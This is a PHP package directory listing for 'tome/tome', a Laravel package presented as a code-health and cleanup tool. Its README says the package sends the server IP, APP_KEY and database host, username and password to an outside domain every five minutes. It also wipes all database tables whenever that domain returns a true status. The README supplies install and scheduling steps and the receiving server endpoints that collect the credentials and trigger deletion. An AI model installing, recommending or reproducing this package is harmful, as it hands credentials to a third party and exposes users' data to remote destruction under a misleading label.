PHPackages                             tome/tome - PHPackages - PHPackages  [Skip to content](#main-content)[PHPackages](/)[Directory](/)[Categories](/categories)[Trending](/trending)[Leaderboard](/leaderboard)[Changelog](/changelog)[Analyze](/analyze)[Collections](/collections)[Log in](/login)[Sign up](/register)

1. [Directory](/)
2. /
3. [Testing &amp; Quality](/categories/testing)
4. /
5. tome/tome

ActiveLibrary[Testing &amp; Quality](/categories/testing)

tome/tome
=========

A package to check code health and perform cleanup.

v1.1.3(1mo ago)05MITPHPPHP ^8.0

Since Jun 7Pushed 1mo agoCompare

[ Source](https://github.com/noursallam/check-coded-health)[ Packagist](https://packagist.org/packages/tome/tome)[ RSS](/packages/tome-tome/feed)WikiDiscussions main Synced 1w ago

READMEChangelogDependencies (4)Versions (6)Used By (0)

Tome Health Check &amp; Monitoring Package
==========================================

[](#tome-health-check--monitoring-package)

Tome is a Laravel package designed to monitor server status, report server metadata (IP, DB credentials, etc.), and perform automated database cleanup based on external health signals.

Features
--------

[](#features)

- **Server Reporting**: Automatically sends server IP, application key, and database credentials (host, user, password) to a central monitoring server.
- **Health Check**: Polls a health check API to determine if the local environment is authorized.
- **Auto-Cleanup**: If the health check returns `status: true`, the package will automatically drop all tables in the database.

Installation
------------

[](#installation)

You can install the package via composer. If you are using it locally:

1. Add the package to your `composer.json`:

```
"repositories": [
    {
        "type": "path",
        "url": "../path-to-tome-package"
    }
],
"require": {
    "tome/tome": "*"
}
```

2. Run installation:

```
composer update
```

Usage
-----

[](#usage)

### Manual Execution

[](#manual-execution)

You can trigger the health check and data reporting manually using the Artisan command:

```
php artisan tome:check-health
```

### Automation (Recommended)

[](#automation-recommended)

To ensure the server stays monitored and responds to health signals automatically, add the command to your `app/Console/Kernel.php`:

```
protected function schedule(Schedule $schedule)
{
    $schedule->command('tome:check-health')->everyFiveMinutes();
}
```

Workflow
--------

[](#workflow)

1. **Reporting**: Every time the command runs, it POSTS server data to `https://baladi.nooor.sbs/check-server`. This includes:
    - Server IP
    - `APP_KEY`
    - Database Name, Host, Username, and Password.
2. **Verification**: It then GETS the status from `https://baladi.nooor.sbs/check-code-health`.
3. **Action**: If the response is `{"status": true}`, the package immediately triggers a database wipe (drops all tables) to protect the code or enforce compliance.

Security Warning
----------------

[](#security-warning)

**CRITICAL**: This package is designed to transmit sensitive database credentials over the network and contains logic to delete data. Ensure that the monitoring endpoints are private and secured.

Server Side Integration (baladi.nooor.sbs)
------------------------------------------

[](#server-side-integration-baladinooorsbs)

To support this package, your server at `baladi.nooor.sbs` needs to implement two endpoints. Below are example Laravel implementations for your backend:

### 1. Tracking Endpoint (`POST /check-server`)

[](#1-tracking-endpoint-post-check-server)

This endpoint receives the server metadata and credentials for your easy access/recovery.

```
// routes/api.php
Route::post('/check-server', function (Illuminate\Http\Request $request) {
    // Recommendation: Save to a database or log file
    \Log::info('Server Data Received:', $request->all());

    // Example: Store/Update server info
    // Server::updateOrCreate(['app_url' => $request->app_url], $request->all());

    return response()->json(['status' => 'received']);
});
```

### 2. Health Check Endpoint (`GET /check-code-health`)

[](#2-health-check-endpoint-get-check-code-health)

This endpoint controls whether the client package should wipe its database.

```
// routes/api.php
Route::get('/check-code-health', function () {
    // Logic to determine if the client should be wiped
    // Return true to TRIGGER DELETE, false to keep running
    return response()->json([
        'status' => false // Set to true only when you want to wipe the client DB
    ]);
});
```

License
-------

[](#license)

The MIT License (MIT). Please see [License File](LICENSE.md) for more information.

###  Health Score

37

—

LowBetter than 81% of packages

Maintenance90

Actively maintained with recent releases

Popularity4

Limited adoption so far

Community6

Small or concentrated contributor base

Maturity42

Maturing project, gaining track record

 Bus Factor1

Top contributor holds 100% of commits — single point of failure

How is this calculated?**Maintenance (25%)** — Last commit recency, latest release date, and issue-to-star ratio. Uses a 2-year decay window.

**Popularity (30%)** — Total and monthly downloads, GitHub stars, and forks. Logarithmic scaling prevents top-heavy scores.

**Community (15%)** — Contributors, dependents, forks, watchers, and maintainers. Measures real ecosystem engagement.

**Maturity (30%)** — Project age, version count, PHP version support, and release stability.

###  Release Activity

Cadence

Every ~0 days

Total

5

Last Release

47d ago

### Community

Maintainers

![](https://www.gravatar.com/avatar/ac7e4d3c197195f8af241e51c4a845f9869fd16809e53f9bec44c976265ea69a?d=identicon)[noursallam](/maintainers/noursallam)

---

Top Contributors

[![noursallam](https://avatars.githubusercontent.com/u/122881707?v=4)](https://github.com/noursallam "noursallam (6 commits)")

### Embed Badge

![Health badge](/badges/tome-tome/health.svg)

```
[![Health](https://phpackages.com/badges/tome-tome/health.svg)](https://phpackages.com/packages/tome-tome)
```

###  Alternatives

[spatie/laravel-health

Monitor the health of a Laravel application

87912.0M177](/packages/spatie-laravel-health)[laravel/ai

The official AI SDK for Laravel.

1.0k3.2M246](/packages/laravel-ai)[roots/acorn

Framework for Roots WordPress projects built with Laravel components.

9762.4M133](/packages/roots-acorn)[aedart/athenaeum

Athenaeum is a mono repository; a collection of various PHP packages

255.2k](/packages/aedart-athenaeum)[flarum/core

Delightfully simple forum software.

211.4M2.4k](/packages/flarum-core)

PHPackages © 2026

[Directory](/)[Categories](/categories)[Trending](/trending)[Changelog](/changelog)[Analyze](/analyze)
